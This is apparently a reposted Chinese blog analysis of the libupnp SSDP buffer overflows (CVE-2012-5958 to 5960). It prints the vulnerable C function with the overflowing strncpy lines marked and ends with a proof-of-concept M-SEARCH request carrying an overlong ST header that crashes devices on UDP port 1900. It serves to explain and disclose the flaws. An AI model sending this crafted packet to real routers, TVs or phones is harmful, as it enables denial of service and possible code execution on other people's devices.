码迷,mamicode.com
首页 > 其他好文 > 详细

libUpnp缓冲区溢出、拒绝服务等漏洞分析

时间:2017-09-21 21:09:08      阅读:159      评论:0      收藏:0      [点我收藏+]

标签:技术   strstr   comm   打开   运行   uuid   老版本   src   img   

该漏洞存在于UPnP?设备的便携式SDK中,也叫做 libupnp。这个库是用来实现媒体播放(DLAN)或者NAT地址转换(UPnP IGD)。智能手机上的应用程序可用这些功能播放媒体文件或者利用用户的家庭网络连接到其他的设备。

技术分享

 

事实上,这些漏洞早在2012年12月份就已经修复了,然而仍然有很多app在使用存在漏洞的老版本SDK。统计发现有547个应用还在使用老版本的 libupnp,其中326个可从谷歌Play store中下载到,包括Netflix和腾讯QQ音乐。这些都是非常流行的应用,用户达百万,也就是说有数百万的用户还存在被攻击的可能性。另外,除了移动设备,路由器和智能电视也在之列。

漏洞利用

该漏洞存在于 libupnp库处理简单服务发现协议(SSDP)包过程中。该协议是 Universal Plug N’ Play (UPnP)标准的部分。在处理进程中会出现堆栈溢出,并且需要UDP1900端口打开。

技术分享

一个精心制作的包可造成缓冲区溢出,如下图中的代码,TempBuf 缓冲可溢出,并造成死机。

技术分享

进一步的研究发现,它不仅能造成死机,还可以在受害者设备上运行任意代码。如此以来,攻击者便可能会完全掌控受害者设备。

漏洞代码如下:

// version 1.6.17
 // cmd变量接收外部输入
 // 结构体Evt包含多个固定长度的缓冲区
 int unique_service_name(char *cmd, SsdpEvent *Evt) 
{ 
    char TempBuf[COMMAND_LEN]; 
    char *TempPtr = NULL; 
    char *Ptr = NULL; 
    char *ptr1 = NULL;
    char *ptr2 = NULL; 
    char *ptr3 = NULL; 
    int CommandFound = 0; 
    size_t n = (size_t)0; 
    if (strstr(cmd, "uuid:schemas") != NULL)
    { 
        ptr1 = strstr(cmd, ":device"); 
        if (ptr1 != NULL) 
            ptr2 = strstr(ptr1 + 1, ":"); 
        else 
            return -1; 
        if (ptr2 != NULL) 
            ptr3 = strstr(ptr2 + 1, ":"); 
        else 
            return -1; 
        if (ptr3 != NULL) 
        { 
            if (strlen("uuid:") + strlen(ptr3 + 1) >= sizeof(Evt->UDN)) 
                return -1; 
            snprintf(Evt->UDN, sizeof(Evt->UDN), "uuid:%s", ptr3 + 1); 
        } 
        else 
            return -1;
        ptr1 = strstr(cmd, ":"); 
        if (ptr1 != NULL) 
        { 
            n = (size_t)ptr3 - (size_t)ptr1; 
            strncpy(TempBuf, ptr1, n);                            // CVE-2012-5958
            TempBuf[n] = ‘\0‘; 
            if (strlen("urn") + strlen(TempBuf) >= sizeof(Evt->DeviceType)) 
                return -1; 
            snprintf(Evt->DeviceType, sizeof(Evt->DeviceType), "urn%s", TempBuf); 
        } 
        else 
            return -1; 
        return 0; 
    } 
    if ((TempPtr = strstr(cmd, "uuid")) != NULL) 
    { 
        if ((Ptr = strstr(cmd, "::")) != NULL) 
        { 
            n = (size_t)Ptr - (size_t)TempPtr; 
            strncpy(Evt->UDN, TempPtr, n);                        // CVE-2012-5959
            Evt->UDN[n] = ‘\0‘; 
        }
        else 
        {
            memset(Evt->UDN, 0, sizeof(Evt->UDN)); 
            strncpy(Evt->UDN, TempPtr, sizeof(Evt->UDN) - 1); 
        } 
        CommandFound = 1; 
    } 
    if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":service:") != NULL) 
    { 
        if ((TempPtr = strstr(cmd, "urn")) != NULL) 
        { 
            memset(Evt->ServiceType, 0, sizeof(Evt->ServiceType)); 
            strncpy(Evt->ServiceType, TempPtr, sizeof(Evt->ServiceType) - 1);
            CommandFound = 1; 
        } 
    }
    if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":device:") != NULL) 
    { 
        if ((TempPtr = strstr(cmd, "urn")) != NULL) 
        { 
            memset(Evt->DeviceType, 0, sizeof(Evt->DeviceType)); 
            strncpy(Evt->DeviceType, TempPtr, sizeof(Evt->DeviceType) - 1); 
            CommandFound = 1; 
        } 
    } 
    if ((TempPtr = strstr(cmd, "::upnp:rootdevice")) != NULL) 
    { 
        /* Everything before "::upnp::rootdevice" is the UDN. */ 
        if (TempPtr != cmd) 
        { 
            n = (size_t)TempPtr - (size_t)cmd; 
            strncpy(Evt->UDN, cmd, n);                            // CVE-2012-5960
            Evt->UDN[n] = 0; 
            CommandFound = 1; 
        } 
    } 
    if (CommandFound == 0) 
        return -1; 
    return 0; 
}

Poc脚本如下:

M-SEARCH * HTTP/1.1
 Host:239.255.255.250:1900 
ST:uuid:schemas:device:AAAA[…]AAAA:anything 
Man:"ssdp:discover" 
MX:3

 

libUpnp缓冲区溢出、拒绝服务等漏洞分析

标签:技术   strstr   comm   打开   运行   uuid   老版本   src   img   

原文地址:http://www.cnblogs.com/Shepherdzhao/p/7570632.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!